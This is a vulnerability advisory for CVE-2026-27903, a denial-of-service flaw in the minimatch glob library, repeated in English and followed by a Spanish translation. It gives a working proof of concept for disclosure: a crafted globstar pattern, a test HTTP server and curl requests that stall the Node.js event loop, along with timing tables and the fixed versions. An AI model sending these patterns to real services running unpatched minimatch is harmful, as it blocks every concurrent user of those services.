CVE-2026-27903

minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.

minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.

### Summary `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. --- ### Details The vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960): ```typescript while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ } ``` When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k). There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input. Measured timing with n=30 path segments: | k (globstars) | Pattern size | Time | |---------------|--------------|----------| | 7 | 36 bytes | ~154ms | | 9 | 46 bytes | ~1.2s | | 11 | 56 bytes | ~5.4s | | 12 | 61 bytes | ~9.7s | | 13 | 66 bytes | ~15.9s | --- ### PoC Tested on minimatch@10.2.2, Node.js 20. **Step 1 -- inline script** ```javascript import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms ``` To scale the effect, increase k: ```javascript // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern) ``` No special options are required. This reproduces with the default `minimatch()` call. **Step 2 -- HTTP server (event loop starvation proof)** The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common: ```javascript // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT) ``` Terminal 1 -- start the server: ``` node poc1-server.mjs ``` Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: ``` curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" & ``` Terminal 3 -- while the attack is in-flight, send a benign request: ``` curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz" ``` **Observed output (Terminal 3):** ``` {"result":true,"ms":"0"} time_total: 4.132709s ``` The server reports `"ms":"0"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline: ``` {"result":true,"ms":"0"} time_total: 0.001599s ``` --- ### Impact Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

### Summary `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. --- ### Details The vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960): ```typescript while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ } ``` When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k). There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input. Measured timing with n=30 path segments: | k (globstars) | Pattern size | Time | |---------------|--------------|----------| | 7 | 36 bytes | ~154ms | | 9 | 46 bytes | ~1.2s | | 11 | 56 bytes | ~5.4s | | 12 | 61 bytes | ~9.7s | | 13 | 66 bytes | ~15.9s | --- ### PoC Tested on minimatch@10.2.2, Node.js 20. **Step 1 -- inline script** ```javascript import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms ``` To scale the effect, increase k: ```javascript // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern) ``` No special options are required. This reproduces with the default `minimatch()` call. **Step 2 -- HTTP server (event loop starvation proof)** The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common: ```javascript // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT) ``` Terminal 1 -- start the server: ``` node poc1-server.mjs ``` Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: ``` curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" & ``` Terminal 3 -- while the attack is in-flight, send a benign request: ``` curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz" ``` **Observed output (Terminal 3):** ``` {"result":true,"ms":"0"} time_total: 4.132709s ``` The server reports `"ms":"0"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline: ``` {"result":true,"ms":"0"} time_total: 0.001599s ``` --- ### Impact Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

minimatch es una utilidad de coincidencia mínima para convertir expresiones glob en objetos RegExp de JavaScript. Antes de las versiones 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5 y 3.1.3, 'matchOne()' realiza un retroceso recursivo ilimitado cuando un patrón glob contiene múltiples segmentos '**' (GLOBSTAR) no adyacentes y la ruta de entrada no coincide. La complejidad temporal es O(C(n, k)) -- binomial -- donde 'n' es el número de segmentos de ruta y 'k' es el número de globstars. Con k=11 y n=30, una llamada a la API predeterminada de 'minimatch()' se detiene durante aproximadamente 5 segundos. Con k=13, supera los 15 segundos. No existe memoización ni presupuesto de llamadas para limitar este comportamiento. Cualquier aplicación donde un atacante pueda influir en el patrón glob pasado a 'minimatch()' es vulnerable. La superficie de ataque realista incluye herramientas de compilación y ejecutores de tareas que aceptan argumentos glob proporcionados por el usuario (configuración de ESLint, Webpack, Rollup), sistemas multi-inquilino donde un inquilino configura reglas basadas en glob que se ejecutan en un proceso compartido, interfaces de administrador o desarrollador que aceptan configuración de reglas de ignorar o de filtro como globs, y pipelines de CI/CD que evalúan archivos de configuración enviados por el usuario que contienen patrones glob. Un atacante que pueda colocar un patrón diseñado en cualquiera de estas rutas puede detener el bucle de eventos de Node.js durante decenas de segundos por invocación. El patrón es de 56 bytes para una detención de 5 segundos y no requiere autenticación en contextos donde la entrada del patrón es parte de la característica. Las versiones 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5 y 3.1.3 solucionan el problema.